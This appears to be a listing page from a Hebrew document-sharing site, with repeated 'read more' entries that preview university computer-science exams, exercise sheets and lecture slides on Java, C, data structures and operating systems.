קרא עוד

תרגול מס' 4: המתרגם שימוש במחלקות קיימות מחרוזות, קבצים, וקבלת קלט מהמשתמש

תרגול מס' 4: המתרגם שימוש במחלקות קיימות מחרוזות, קבצים, וקבלת קלט מהמשתמש תרגול מס' 4: המתרגם שימוש במחלקות קיימות מחרוזות, קבצים, וקבלת קלט מהמשתמש המתרגם משימה: תכנית המתרגמת קטעי טקסט לשפה אחרת הקלט: קובץ המכיל את קטעי הטקסט וכן את השפה אליה רוצים לתרגם 2 שאלות האם כבר יש

קרא עוד

פתרון מוצע לבחינת מה"ט ב_שפת c מועד ב אביב תשע"ט, אפריל 2019 מחברת: גב' זהבה לביא, מכללת אורט רחובות שאלה מספר 1 מוגדרת מחרוזת המורכבת מהספרות 0 עד 9.

פתרון מוצע לבחינת מהט ב_שפת c מועד ב אביב תשעט, אפריל 2019 מחברת: גב' זהבה לביא, מכללת אורט רחובות שאלה מספר 1 מוגדרת מחרוזת המורכבת מהספרות 0 עד 9. פתרון מוצע לבחינת מה"ט ב_שפת c מועד ב אביב תשע"ט, אפריל 2019 מחברת: גב' זהבה לביא, מכללת אורט רחובות שאלה מספר 1 מוגדרת מחרוזת המורכבת מהספרות 0 עד 9. הדפסה ראשונה: מתבצעת לולאה שרצה מאפס עד אורך המחרוזת.

קרא עוד

תרגול 1

תרגול 1 מבוא למדעי המחשב 2019 תרגול 5 מחרוזות, חתימות ורקורסיה מחרוזות רצף של תווים רקורסיה קריאה של מתודה לעצמה באופן ישיר או עקיף ראינו בהרצאה מחרוזות: תווים, חתימות: העמסה- String,הצהרה, overloading אתחול רקורסיה:

קרא עוד

מהוא לתכנות ב- JAVA מעבדה 3

מהוא לתכנות ב- JAVA מעבדה 3 מבוא לתכנות ב- JAVA מעבדה 3 נושאי התרגול לולאות ניפוי שגיאות לולאות - הקדמה כיצד הייתם כותבים תוכנית שתדפיס את המספרים השלמים בין 1 ל- 100 בעזרת הכלים שלמדתם עד עתה? חייבת להיות דרך אחרת מאשר לכתוב 100

קרא עוד

שאלהIgal : מערכים דו מימדיים רקורסיה:

שאלהIgal : מערכים דו מימדיים רקורסיה: אוניברסיטת בן גוריון בנגב מספר נבחן : תאריך המבחן: כ"ג חשון תשע"ח 12/11/17 שמות המורים: ציון סיקסיק א' ב- C תכנות מבחן ב: 202-1-9011 מס' הקורס : הנדסה מיועד לתלמידי : ב' מועד קיץ סמ' שנה תשע"ז 3 שעות משך

קרא עוד

מבוא למדעי המחשב

מבוא למדעי המחשב מבוא למדעי המחשב מחרוזות, חתימה של פונקציה ומעטפות תוכן עניינים טיפוסים מורכבים טיפוסים מורכבים ערך שם טיפוס 12 m int undef. x boolean true y boolean arr int[] כאלה שעשויים להכיל יותר מערך פרימיטיבי אחד

קרא עוד

משימה תכנית המתרגמת קטעי טקסט לשפה אחרת הקלט: קובץ המכיל את קטעי הטקסט וכן את השפה אליה רוצים לתרגם תרגול מס' 4: המתרגם שימוש במחלקות קיימות תכנות מתק

משימה תכנית המתרגמת קטעי טקסט לשפה אחרת הקלט: קובץ המכיל את קטעי הטקסט וכן את השפה אליה רוצים לתרגם תרגול מס' 4: המתרגם שימוש במחלקות קיימות תכנות מתק משימה תכנית המתרגמת קטעי טקסט לשפה אחרת הקלט: קובץ המכיל את קטעי הטקסט וכן את השפה אליה רוצים לתרגם תרגול מס' 4: המתרגם שימוש במחלקות קיימות 2 הפשטה שאלות כצעד ראשון נפתור בעיה הרבה יותר פשוטה האם כבר

קרא עוד

שאלהIgal : מערכים דו מימדיים רקורסיה:

שאלהIgal : מערכים דו מימדיים רקורסיה: אוניברסיטת בן גוריון בנגב מספר נבחן : תאריך המבחן: כ"ג מנ' אב תשע"ז 15.08.17 שמות המורים: ציון סיקסיק א' ב- C תכנות מבחן ב: 202-1-9011 מס' הקורס : הנדסה מיועד לתלמידי : ב' מועד סמ' ב' שנה תשע"ז 3 שעות

קרא עוד

סדנת תכנות ב C/C++

סדנת תכנות ב   C/C++ פקולטה: מדעי הטבע מחלקה: מדעי המחשב שם הקורס: מבוא למחשבים ושפת C קוד הקורס: 2-7028510 תאריך בחינה: 15.2.2017 משך הבחינה: שעתיים שם המרצה: ד"ר אופיר פלא חומר עזר: פתוח שימוש במחשבון: לא הוראות כלליות:

קרא עוד

PowerPoint Presentation

PowerPoint Presentation תוכנה 1 תרגול 1: סביבת העבודה ומבוא ל- Java אלכסיי זגלסקי ויעל אמסטרדמר 1 בירוקרטיה אלכסיי זגלסקי שעת קבלה: שני 13:00-14:00, בתיאום מראש משרד: בניין הנדסת תוכנה, חדר 209 יעל אמסטרדמר שעת קבלה: חמישי 15:00-16:00,

קרא עוד

ex1-bash

ex1-bash ביה"ס למדעי המחשב סמסטר חורף תשע"ח 13.12.2017 יסודות מערכות פתוחות פתרון תרגיל מס' 7 המכללה האקדמית נתניה שימו לב: כל ההערות שבתחילת תרגילים 1-6 תקפות גם לתרגיל זה. הערה 1: החל מתרגיל זה והלאה, בכל פעם

קרא עוד

Slide 1

Slide 1 מבוא למדעי המחשב תירגול 4: משתנים בוליאניים ופונקציות מבוא למדעי המחשב מ' - תירגול 4 1 משתנים בוליאניים מבוא למדעי המחשב מ' - תירגול 4 2 ערכי אמת מבחינים בין שני ערכי אמת: true ו- false לכל מספר שלם ניתן

קרא עוד

שאלהIgal : מערכים דו מימדיים רקורסיה:

שאלהIgal : מערכים דו מימדיים רקורסיה: אוניברסיטת בן גוריון בנגב מספר נבחן : תאריך המבחן: כ"ח תשרי תשע"ז 30.10.16 שמות המורים: ציון סיקסיק א' תכנות ב- C מבחן ב: 202-1-9011 מס' הקורס : הנדסה מיועד לתלמידי : ב' מועד סמ' קיץ שנה תשע"ו 3 שעות משך

קרא עוד

Microsoft Word - c_SimA_MoedB2005.doc

Microsoft Word - c_SimA_MoedB2005.doc מרצה: שולי וינטנר. מתרגל: עזרא דאיה. מבוא למדעי המחשב בחינת מועד ב', סמסטר א' תשס"ה,.2.2005 משך המבחן: שעתיים וחצי. חומר עזר: מותר כל חומר עזר, מלבד מחשב. הנחיות:. ודאו כי בטופס שבידיכם עמודים. יש לכתוב

קרא עוד

מבוא למדעי המחשב

מבוא למדעי המחשב מבוא למדעי המחשב שימוש במחסנית - מחשבון תוכן עניינים prefix כתיבת ביטויים ב-,infix ו- postfix postfix prefix,infix ביטויים ב- כתיבת ו- infix נוסח כתיבה ב- (operator אנו רגילים לכתוב ביטויים חשבוניים כדוגמת

קרא עוד

2013/14 אוניברסיטת חיפה מבוא למדעי מחשב, מעבדה מטרת המעבדה: לתרגל את המעבר מאלגוריתם לקוד C כמה שיותר. הוראות:.1.2 ניתן לעבוד ביחידים או בזוגות. (יש מ

2013/14 אוניברסיטת חיפה מבוא למדעי מחשב, מעבדה מטרת המעבדה: לתרגל את המעבר מאלגוריתם לקוד C כמה שיותר. הוראות:.1.2 ניתן לעבוד ביחידים או בזוגות. (יש מ מטרת המעבדה: לתרגל את המעבר מאלגוריתם לקוד C כמה שיותר. הוראות:.1.2 ניתן לעבוד ביחידים או בזוגות. (יש מספיק עמדות לכולם ולכן מומלץ לעבוד ביחידים). במהלך המעבדה יהיה עליכם לבצע משימות. אם תצטרכו עזרה בשלב

קרא עוד

מבוא לתכנות ב- JAVA תרגול 7

מבוא לתכנות ב- JAVA  תרגול 7 מבוא לתכנות ב- JAVA תרגול 8 תזכורת - מבנה של פונקציה רקורסיבית.2 פונקציה רקורסיבית מורכבת משני חלקים עיקריים 1. תנאי עצירה: מקרה/מקרים פשוטים בהם התוצאה לא מצריכה קריאה רקורסיבית לחישוב צעד רקורסיבי: קריאה

קרא עוד

Microsoft Word - Ass1Bgu2019b_java docx

Microsoft Word - Ass1Bgu2019b_java docx ת ר ג י ל 1 ב ק ו ר ס מ ב ו א לתכנות 202.1.9031 JAVA סמסטר ב, ת נ א י ם ו ל ו ל א ו ת תאריך אחרון להגשה בציון מלא : 02.04.19 עד שעה : 23:55, כ ל יום איחור ל א מ א ו ש ר א ו ח ל ק ממנו מודריד 10 נקודות

קרא עוד

תרגול מס' 1

תרגול מס' 1 תרגול 6 הסתעפויות 1 מבוסס על שקפים מאת יאן ציטרין קפיצות לא מותנות Unconditional Branch br label PC לאחר ה- fetch של פקודת ה- branch PC לאחר הביצוע של פקודת ה- branch pc label br label הקפיצה מתבצעת תמיד,

קרא עוד

PowerPoint Presentation

PowerPoint Presentation תוכנה 1 תרגול 1: סביבת העבודה ומבוא ל- Java 1 מנהלות אתר הקורס: http://courses.cs.tau.ac.il/software1/1516b/ מתרגלים: ברית יונגמן )שעת קבלה: שלישי ב- 8:00 בתיאום מראש( לנה דנקין )שעת קבלה: שלישי ב- 17:00,

קרא עוד

מבוא למדעי המחשב

מבוא למדעי המחשב מבוא למדעי המחשב המחלקה Object תוכן עניינים Object הורשה והמחלקה ערך שם טיפוס DynamicIntArray da data size incrementsize DynamicArray תזכורת - Object[] data; int size; int incrementsize; DynamicArray זה

קרא עוד

מבחן 7002 פרטים כלליים מועד הבחינה: בכל זמן מספר השאלון: 1 משך הבחינה: 3 שעות חומר עזר בשימוש: הכל )ספרים ומחברות( המלצות: קרא המלצות לפני הבחינה ובדי

מבחן 7002 פרטים כלליים מועד הבחינה: בכל זמן מספר השאלון: 1 משך הבחינה: 3 שעות חומר עזר בשימוש: הכל )ספרים ומחברות( המלצות: קרא המלצות לפני הבחינה ובדי מבחן 7002 פרטים כלליים מועד הבחינה: בכל זמן מספר השאלון: 1 משך הבחינה: 3 שעות חומר עזר בשימוש: הכל )ספרים ומחברות( המלצות: קרא המלצות לפני הבחינה ובדיקות אחרונות לפני מסירה )עמודים 8-11( מבנה השאלון 5

קרא עוד

אוניברסיטת חיפה החוג למדעי המחשב מבוא למדעי המחשב מועד א' סמסטר ב', תשע"ג, משך המבחן: שעתיים וחצי חומר עזר: אסור הנחיות: וודאו כי יש בידיכם

אוניברסיטת חיפה החוג למדעי המחשב מבוא למדעי המחשב מועד א' סמסטר ב', תשעג, משך המבחן: שעתיים וחצי חומר עזר: אסור הנחיות: וודאו כי יש בידיכם אוניברסיטת חיפה החוג למדעי המחשב מבוא למדעי המחשב מועד א' סמסטר ב', תשע"ג,.6.013 משך המבחן: שעתיים וחצי חומר עזר: אסור הנחיות: וודאו כי יש בידיכם 8 עמודי שאלון )כולל עמוד זה(. עליכם לכתוב את התשובות על

קרא עוד

Slide 1

Slide 1 מבוא לתכנות ב- JAVA תרגול 5 מה בתרגול מחרוזות מערכים דו ממדיים מחרוזות (Strings) מחרוזת היא רצף של תווים. immutable על מנת ליצור ולטפל במחרוזות נשתמש במחלקה String למחלקה String מתודות שונות שמאפשרות פעולות

קרא עוד

אוניברסיטת בן גוריון בנגב תאריך המבחן: שם המרצה: מר אלכסנדר שקולניק, בשפת JAVA מבחן ב: מבוא לתכנות מס' הקורס : מיועד לתלמידי : הנד

אוניברסיטת בן גוריון בנגב תאריך המבחן: שם המרצה: מר אלכסנדר שקולניק, בשפת JAVA מבחן ב: מבוא לתכנות מס' הקורס : מיועד לתלמידי : הנד אוניברסיטת בן גוריון בנגב תאריך המבחן: 29.01.19 שם המרצה: מר אלכסנדר שקולניק, בשפת JAVA מבחן ב: מבוא לתכנות 202.1.9031 מס' הקורס : מיועד לתלמידי : הנדסת תעשיה וניהול שנה תשע"ט א' סמ' א' מועד 3 שעות משך

קרא עוד

אוניברסיטת חיפה החוג למדעי המחשב מרצה: שולי וינטנר מתרגלים: נעמה טוויטו, מחמוד שריף מבוא למדעי המחשב סמסטר א' תשע"ב בחינת סיום, מועד א', הנחי

אוניברסיטת חיפה החוג למדעי המחשב מרצה: שולי וינטנר מתרגלים: נעמה טוויטו, מחמוד שריף מבוא למדעי המחשב סמסטר א' תשעב בחינת סיום, מועד א', הנחי אוניברסיטת חיפה החוג למדעי המחשב מרצה: שולי וינטנר מתרגלים: נעמה טוויטו, מחמוד שריף מבוא למדעי המחשב סמסטר א' תשע"ב בחינת סיום, מועד א', 6.2.2012 הנחיות: 1. משך הבחינה: 120 דקות. 2. היציאה מהכיתה במהלך

קרא עוד

מבוא למדעי המחשב - חובלים

מבוא למדעי המחשב - חובלים החוג למדעי המחשב אוניברסיטת חיפה מבוא למדעי המחשב סמסטר א' תשע"ג בחינת סיום, מועד ב', 20.02.2013 מרצה: ריטה אוסדצ'י מתרגלת: נעמה טוויטו מדריך מעבדה: מחמוד שריף משך המבחן: שעתיים חומר עזר: ספר של Kernighan

קרא עוד

Slide 1

Slide 1 מבוא למדעי המחשב תירגול 7: פונקציות 1 מה היה שבוע שעבר? לולאות מערכים מערכים דו-ממדיים 2 תוכנייה )call by value( פונקציות העברת פרמטרים ע"י ערך תחום הגדרה של משתנה מחסנית הקריאות 3 פונקציות 4 הגדרה של

קרא עוד

Disclaimer מסמך זה הינו סיכום און-ליין של השיעור ולא עבר עריכה כלל. מצאת טעות? שלח/י לי מייל ואתקן: 07/05/2009 קורס: מערכות ה

Disclaimer מסמך זה הינו סיכום און-ליין של השיעור ולא עבר עריכה כלל. מצאת טעות? שלח/י לי מייל ואתקן: 07/05/2009 קורס: מערכות ה הרעיון: דפדוף paging וזכרון וירטואלי.1.2.3 לחלק את מרחב הכתובות לדפים בגודל קבוע )למשל )4KB את הדפים ממפים לזכרון פיסי a. לא רציף b. לא כולם העברה מזכרון לדיסק לפי הצורך מספר הדף: page = addr 4K המיקום

קרא עוד

Slide 1

Slide 1 1 אובייקטים היום בתרגול: 2.)objects מחלקות )classes( ואובייקטים )מופעים, )fields( שדות המחלקה שיטות הכמסה )methods של מחלקה. ( class מחלקה - עד עכשיו השתמשנו בעיקר בטיפוסים מובנים ופונקציות המבצעות חישובים

קרא עוד

Office 365 ProPlus בחינם לסטודנטים באוניברסיטת בן גוריון בנגב הוראות סטודנטים באוניברסיטת בן גוריון בנגב יכולים להוריד ולהתקין את חבילת התוכנה Office

Office 365 ProPlus בחינם לסטודנטים באוניברסיטת בן גוריון בנגב הוראות סטודנטים באוניברסיטת בן גוריון בנגב יכולים להוריד ולהתקין את חבילת התוכנה Office Office 365 ProPlus בחינם לסטודנטים באוניברסיטת בן גוריון בנגב הוראות סטודנטים באוניברסיטת בן גוריון בנגב יכולים להוריד ולהתקין את חבילת התוכנה Office 365 ProPlus בחינם. ניתן להוריד ולהתקין את הגרסאות הבאות:

קרא עוד

ייבוא וייצוא של קבצי אקסל וטקסט

ייבוא וייצוא של קבצי אקסל וטקסט ייבוא וייצוא של קבצי אקסל וטקסט (Importing & Exporting MS Excel Files and Text) ייבוא (Import) הפיכת קובץ טקסט, Excel מבסיס נתונים אחר. או סוגים אחרים, לטבלת,Access או העתקת טבלת Access בתחילת התהליך יש

קרא עוד

HTML - Hipper Text Makeup Language

HTML - Hipper Text Makeup Language תכנות בסביבת האינטרנט 1 תיבת טקסט טופס הטופס הוא הדרך של בעלי האתר לקבל משוב מהגולשים, מאפשר לגולש להתחבר לאתר כחבר, מאפשר לבצע רכישות באתרי קניות וכד'. כשהגולש ממלא את הטופס, מועבר תוכן הטופס לדף מיוחד

קרא עוד

מצגת של PowerPoint

מצגת של PowerPoint מבוא כללי לתכנות ולמדעי המחשב תרגול מס' 1 דין שמואל dshmuel110@gmail.com 1 1. מנהלות מרצה: אמיר רובינשטיין, amirr@tau.ac.il שעות קבלה: לשאלות קצרות - מייד לאחר השיעור. ניתן לתאם במייל שעות אחרות. מתרגל:

קרא עוד

אוניברסיטת בן גוריון בנגב תאריך המבחן: שקולניק אלכסנדר שם המרצה: מר בשפת JAVA מבוא לתכנות מבחן ב: מס' הקורס : הנדסת תעשיה וניהול מ

אוניברסיטת בן גוריון בנגב תאריך המבחן: שקולניק אלכסנדר שם המרצה: מר בשפת JAVA מבוא לתכנות מבחן ב: מס' הקורס : הנדסת תעשיה וניהול מ אוניברסיטת בן גוריון בנגב תאריך המבחן: 12.02.17 שקולניק אלכסנדר שם המרצה: מר בשפת JAVA מבוא לתכנות מבחן ב: 202.1.9031 מס' הקורס : הנדסת תעשיה וניהול מיועד לתלמידי : א' מועד א' סמ' שנה תשע"ד 3 שעות משך

קרא עוד

תכנות מונחה עצמים א' – תש"ע

תכנות מונחה עצמים א' –  תשע 1 תכנות מונחה עצמים והנדסת תוכנה תשע"ו 2 בנאי העתקה בניית העתק של אובייקט קיים. בניית העתק בעת העברת אובייקט לפונקציה. בניית העתק בעת החזרת אובייקט מפונקציה. ניתן להגדיר בנאי העתקה. אם לא מגדירים, אז הקומפיילר

קרא עוד

PowerPoint Presentation

PowerPoint Presentation פרוטאוס הדרכה לפיתוח פרויקט מבוסס ארדואינו 1 הוראות הפעלה תוכנת פרוטאוס מכילה כמות גדולה מאוד של כלי עזר להבנת דרך ההפעלה של התוכנה. שני מקורות מידע עיקריים עומדים לרשות המשתמש מחוץ לתוכנה: o באתר האינטרנט

קרא עוד

מספר זהות: סמסטר ב' מועד א' תאריך: 11102/4// שעה: 9:22 משך הבחינה: 3 שעות חומר עזר: אין מותר השימוש במחשבון פשוט בחינה בקורס: מבני נתונים מרצה: הדר בי

מספר זהות: סמסטר ב' מועד א' תאריך: 11102/4// שעה: 9:22 משך הבחינה: 3 שעות חומר עזר: אין מותר השימוש במחשבון פשוט בחינה בקורס: מבני נתונים מרצה: הדר בי מספר זהות: סמסטר ב' מועד א' תאריך: 11102/4// שעה: 9:22 משך הבחינה: 3 שעות חומר עזר: אין מותר השימוש במחשבון פשוט בחינה בקורס: מבני נתונים מרצה: הדר בינסקי הנחיות: יש לענות על כל השאלות. יש לענות על כל

קרא עוד

אוניברסיטת חיפה החוג למדעי המחשב מרצה: שולי וינטנר מתרגלים: נעמה טוויטו, מחמוד שריף מבוא למדעי המחשב סמסטר א' תשע"ב בחינת סיום, מועד א', הנחי

אוניברסיטת חיפה החוג למדעי המחשב מרצה: שולי וינטנר מתרגלים: נעמה טוויטו, מחמוד שריף מבוא למדעי המחשב סמסטר א' תשעב בחינת סיום, מועד א', הנחי אוניברסיטת חיפה החוג למדעי המחשב מרצה: שולי וינטנר מתרגלים: נעמה טוויטו, מחמוד שריף מבוא למדעי המחשב סמסטר א' תשע"ב בחינת סיום, מועד א', 6.2.2012 הנחיות: 1. משך הבחינה: 120 דקות. 2. היציאה מהכיתה במהלך

קרא עוד

מספר מחברת: עמוד 1 מתוך 11 ת"ז: תשע"א מועד ב סמסטר א' תאריך: 00:11 שעה: 0 שעות הבחינה: משך כל חומר עזר אסור בשימוש בחינה בקורס: מבוא למדעי ה

מספר מחברת: עמוד 1 מתוך 11 תז: תשעא מועד ב סמסטר א' תאריך: 00:11 שעה: 0 שעות הבחינה: משך כל חומר עזר אסור בשימוש בחינה בקורס: מבוא למדעי ה עמוד 1 מתוך 11 תשע"א מועד ב סמסטר א' 14.2.2011 תאריך: 00:11 שעה: 0 שעות הבחינה: משך כל חומר עזר אסור בשימוש בחינה בקורס: מבוא למדעי המחשב יש לענות על כל 5 השאלות. בכל השאלות במבחן יש לכתוב פונקציות יעילות

קרא עוד

הגשה תוך שבוע בשעת התרגול

הגשה תוך שבוע בשעת התרגול מרצה: שולי וינטנר. מתרגל: שלמה יונה מבוא למדעי המחשב מועד ב', סמסטר א' תשס"ג, 17/2/03 משך המבחן: שעתיים וחצי. חומר עזר: מותר כל חומר עזר, מלבד מחשב. הנחיות: ודאו כי בטופס שבידיכם 8 עמודים. יש לכתוב את

קרא עוד

Microsoft PowerPoint - rec3.ppt

Microsoft PowerPoint - rec3.ppt תכנו ת מונח ה עצ מים משתני מחלקה, עצמים מוכלים ועצמים מוצבעים א וה ד ברז יל י א ונ יברס י ט ת תל אביב משתנ י מח ל קה Static Members משתני מחלקה members) (static משתנים סטטיים מוגדרי ם בתוך מח לקה ואולם

קרא עוד

תוכנה חופשית מאחורי הקלעים? על סדר היום: קצת על עצמי מה זאת תוכנה חופשית? ההיסטוריה של תוכנה חופשית כיצד תוכנה חופשית משתלבת בשוק התוכנה היתרונות של ת

תוכנה חופשית מאחורי הקלעים? על סדר היום: קצת על עצמי מה זאת תוכנה חופשית? ההיסטוריה של תוכנה חופשית כיצד תוכנה חופשית משתלבת בשוק התוכנה היתרונות של ת תוכנה חופשית מאחורי הקלעים? על סדר היום: קצת על עצמי מה זאת תוכנה חופשית? ההיסטוריה של תוכנה חופשית כיצד תוכנה חופשית משתלבת בשוק התוכנה היתרונות של תוכנה חופשית. דוגמאות מהשטח 1 ליאור קפלן 30/11/05 קצת

קרא עוד

מערכות הפעלה

מערכות הפעלה מערכות הפעלה תרגול 2 קריאות מערכת ב- Linux תוכן התרגול קריאה לפונקציות ב- Linux קריאה לשירותי מערכת ב- Linux 2 תזכורת - תכנית Linux ראשונה hello.c #include int main() { char *str= Hello ; printf)

קרא עוד

מבחן סוף סמסטר מועד א 15/02/08 מרצה אחראית: דר שירלי הלוי גינסברג מתרגלים: גלעד קותיאל, דניאל גנקין הוראות: א. בטופס המבחן 7 עמודים ו 4 דפי נוסחאות. ב

מבחן סוף סמסטר מועד א 15/02/08 מרצה אחראית: דר שירלי הלוי גינסברג מתרגלים: גלעד קותיאל, דניאל גנקין הוראות: א. בטופס המבחן 7 עמודים ו 4 דפי נוסחאות. ב מבחן סוף סמסטר מועד א 15/02/08 מרצה אחראית: דר שירלי הלוי גינסברג מתרגלים: גלעד קותיאל, דניאל גנקין הוראות: א. בטופס המבחן 7 עמודים ו 4 דפי נוסחאות. בדקו שכל העמודים ברשותכם. ב. משך המבחן שלוש שעות (180

קרא עוד

Homework Dry 3

Homework Dry 3 Homework Dry 3 Due date: Sunday, 9/06/2013 12:30 noon Teaching assistant in charge: Anastasia Braginsky Important: this semester the Q&A for the exercise will take place at a public forum only. To register

קרא עוד

מדריך למרצים ומתרגלים 1

מדריך למרצים ומתרגלים 1 מדריך למרצים ומתרגלים 1 תוכן עניינים מדריך למרצים ומתרגלים...1 קבלת סיסמה לתחנת מידע למרצה...3 הוספת חומרי למידה...6 הוספת מורשה גישה לאתר הוספת מטלה קורס...9 לאתר הקורס...11 בחירת בודקים למטלה...17 מערכת

קרא עוד

תשע"דד אביב תוכנה 1 תרגיל מספר 4 עיבוד מחרוזות וקריאה מקבצים הנחיות כלליות: קראו בעיון את קובץ נהלי הגשת התרגילים אשר נמצא באתר הקורס..(

תשעדד אביב תוכנה 1 תרגיל מספר 4 עיבוד מחרוזות וקריאה מקבצים הנחיות כלליות: קראו בעיון את קובץ נהלי הגשת התרגילים אשר נמצא באתר הקורס..( תשע"דד אביב תוכנה 1 תרגיל מספר 4 עיבוד מחרוזות וקריאה מקבצים הנחיות כלליות: קראו בעיון את קובץ נהלי הגשת התרגילים אשר נמצא באתר הקורס..(http://mdle.tau.ac.il/) בלבד הגשת התרגיל תעשה במערכת ה- mdle aviv

קרא עוד

מבוא למדעי המחשב - חובלים

מבוא למדעי המחשב - חובלים אוניברסיטת חיפה החוג למדעי המחשב מבוא למדעי המחשב סמסטר ב' תשע"ב בחינת סיום, מועד ב',.02..9.7 מרצה: אורן וימן מתרגלים: נעמה טוויטו ועדו ניסנבוים מדריכי מעבדה: מחמוד שריף ומיקה עמית משך המבחן: שעתיים חומר

קרא עוד

מבוא למדעי המחשב

מבוא למדעי המחשב מבוא למדעי המחשב תכנות מונחה אובייקטים תוכן עניינים טיפוסי נתונים מורכבים המחלקה String תזכורת לשימוש שעשינו במחלקה String str = new String( Hello ); s.o.p(str.tostring()); s.o.p(str.charat(4)); s.o.p(str.equals(

קרא עוד

שעור 6

שעור 6 שעור 6 Open addressing אין רשימות מקושרות. (נניח שהאלמנטים מאוחסנים בטבלה עצמה, לחילופין קיים מצביע בהכנסה המתאימה לאלמנט אם אין שרשור). ב- addressing open הטבלה עלולה להימלא ב- factor α load תמיד. במקום

קרא עוד

יצוא לחשבשבת תוכן עיניינים הגדרות - חשבונות בנק...2 הגדרות - הגדרות חשבשבת... 3 הגדרות - כרטיסי אשראי... 4 הגדרות - סוגי הכנסה... 5 יצוא לחשבשבת...6 י

יצוא לחשבשבת תוכן עיניינים הגדרות - חשבונות בנק...2 הגדרות - הגדרות חשבשבת... 3 הגדרות - כרטיסי אשראי... 4 הגדרות - סוגי הכנסה... 5 יצוא לחשבשבת...6 י יצוא לחשבשבת תוכן עיניינים הגדרות - חשבונות בנק...2 הגדרות - הגדרות חשבשבת... 3 הגדרות - כרטיסי אשראי... 4 הגדרות - סוגי הכנסה... 5 יצוא לחשבשבת...6 יצוא קופה לחשבשבת חלונות...01 כללי מדריך זה מסביר את

קרא עוד

עוצמת ההורשה מה הופך את ההורשה לכלי כל כך עוצמתי? מעבר לכך שהוא מקל בהגדרת מחלקות חדשות על סמך מחלקות קיימות, יש לנו אפשרות להתייחס לאובייקט מסויים בכ

עוצמת ההורשה מה הופך את ההורשה לכלי כל כך עוצמתי? מעבר לכך שהוא מקל בהגדרת מחלקות חדשות על סמך מחלקות קיימות, יש לנו אפשרות להתייחס לאובייקט מסויים בכ עוצמת ההורשה מה הופך את ההורשה לכלי כל כך עוצמתי? מעבר לכך שהוא מקל בהגדרת מחלקות חדשות על סמך מחלקות קיימות, יש לנו אפשרות להתייחס לאובייקט מסויים בכמה אופנים. בואו ניקח מחלקת צעצוע. אנחנו מעונינים להגדיר

קרא עוד

מקביליות

מקביליות PROMELA גרא וייס המחלקה למדעי המחשב אוניברסיטת בן-גוריון עדכון אחרון: 21:40 15/06/2013 2 שפת מ פ ר ט עם ס מ נ ט יק ה מוגדרת באופן מתמטי "שפת תכנות" למודלים המטרה: לאפשר גם לכאלה שאינם חוקרים בתחום לבנות

קרא עוד

BIG DATA תיאור הקורס המונח Big Data הולך וצובר תאוצה בשנים האחרונות, הוא הופך למגמה רווחת בתעשייה. המשמעות הפרקטית של המונח Big Data הינה טכנולוגיות נ

BIG DATA תיאור הקורס המונח Big Data הולך וצובר תאוצה בשנים האחרונות, הוא הופך למגמה רווחת בתעשייה. המשמעות הפרקטית של המונח Big Data הינה טכנולוגיות נ BIG DATA תיאור הקורס המונח Big Data הולך וצובר תאוצה בשנים האחרונות, הוא הופך למגמה רווחת בתעשייה. המשמעות הפרקטית של המונח Big Data הינה טכנולוגיות ניתוח וניהול מאגרי מידע בעלי נתונים שאינם מאורגנים,

קרא עוד

Comp. Arch. Lecture 1

Comp. Arch. Lecture 1 א ר כי טקטור ת מ ח ש בים ד"ר טל שיקלר סו ב ול אימייל: stal@bgu.ac.il Mother board לוח אם CPU central processing unit מעבד דוגמאות: 80x86 ו תואמיו Intel 80x86 Intel Core 2 Duo 64 bits 80x86 compatible AMD

קרא עוד

PowerPoint Presentation

PowerPoint Presentation 1 תוכנה 1 תרגול 1: מנהלות, סביבת העבודה ומבוא ל- Java 1 2 מנהלות I מתרגלים: יעל אמסטרדמר )שעת קבלה: חמישי ב- 12, בתיאום מראש( דביר נתנאלי )שעת קבלה: רביעי ב- 17, בתיאום מראש( http://courses.cs.tau.ac.il/software1/1415a

קרא עוד

PowerPoint Presentation

PowerPoint Presentation מבוא למדעי המחשב תירגול 2: מבוא לתיכנות ב- C 1 תוכנייה משתנים קלט/פלט משפטי תנאי מבוא למדעי המחשב מ' - תירגול 3 2 משתנים 3 משתנים- תמונת הזיכרון הזיכרון כתובת התא #1000 10-4 לא מאותחל 67 לכל תא בזיכרון

קרא עוד

מבוא לתכנות ב- JAVA תרגול 11

מבוא לתכנות ב- JAVA  תרגול 11 מבוא לתכנות ב- JAVA תרגול 11 רשימה מקושרת אוסף סדור של איברים מאותו טיפוס. קודקוד ברשימה )Node( מכיל את המידע + הצבעה לקודקוד הבא ברשימה data next first רשימה :)List( מיוצגת ע"י מצביע לאיבר הראשון ברשימה

קרא עוד

PowerPoint Presentation

PowerPoint Presentation תוכנה תרגול 7 :מנשקים, פולימורפיזם ועוד * לא בהכרח בסדר הזה == vs equals Point p = new Point(,2) Point p2 = new Point(,2) p == p2 p.equals(p2) מתי נכון להשתמש בכל אחד מהם? שימו לב, במחלקה שכתבתם בעצמכם

קרא עוד

תרגול 1

תרגול 1 מבוא למדעי המחשב 2019 תרגול 12 מחסנית )Stack( memoization ראינו בהרצאה מחסנית Infix/Postfix Notations בתרגול היום מחסנית בדיקת איזון סוגריים בביטוי אריתמטי מימוש תור באמצעות מחסנית memoization דוגמאות

קרא עוד

תרגיל בית מספר 1#

תרגיל בית מספר 1# ב 4 תרגיל בית מספר - 1 להגשה עד 72 באוקטובר בשעה ::725 קיראו בעיון את הנחיות העבודה וההגשה המופיעות באתר הקורס, תחת התיקייה.assignments חריגה מההנחיות תגרור ירידת ציון / פסילת התרגיל. הנחיות והערות ספציפיות

קרא עוד

מבוא למדעי המחשב

מבוא למדעי המחשב מבוא כללי לתכנות ולמדעי המחשב 1843-0310 מרצה: אמיר רובינשטיין מתרגל: דין שמואל אוניברסיטת תל אביב סמסטר חורף 2017-8 )substitution cipher( )חלק :)II צופן החלפה שיעור 9 מבוא לדיחסת מידע 1) מבוא לקריפטוגרפיה

קרא עוד

פתרון מבחן במיקרו בקרים תשעו

פתרון מבחן במיקרו בקרים תשעו פתרון מבחן במיקרו בקרים תשעו תשובה 5 א. Mov 4h,a העבר את הנתון שבאקומולטור אל כתובת 4h ב RAM הנתונים הפנימי. Mov 41h,#1h העבר מידית לכתובת 41h ב RAM הנתונים הפנימי את הנתון 1 הקסה )1 בינארי(. Cjne a,4h,note

קרא עוד

מערכות הפעלה קורס מס'

מערכות הפעלה קורס מס' מערכות קבצים מבוזרות מבוא מבנה כללי דוגמה: Network file system דוגמה: Google file system 1 חגית עטיה מערכות קבצים מבוזרות מאפשרות לתהליכים אשר רצים במכונות שונות, גישה ושיתוף קבצים שקיפות לאפליקציה: אפליקציה

קרא עוד

מקביליות

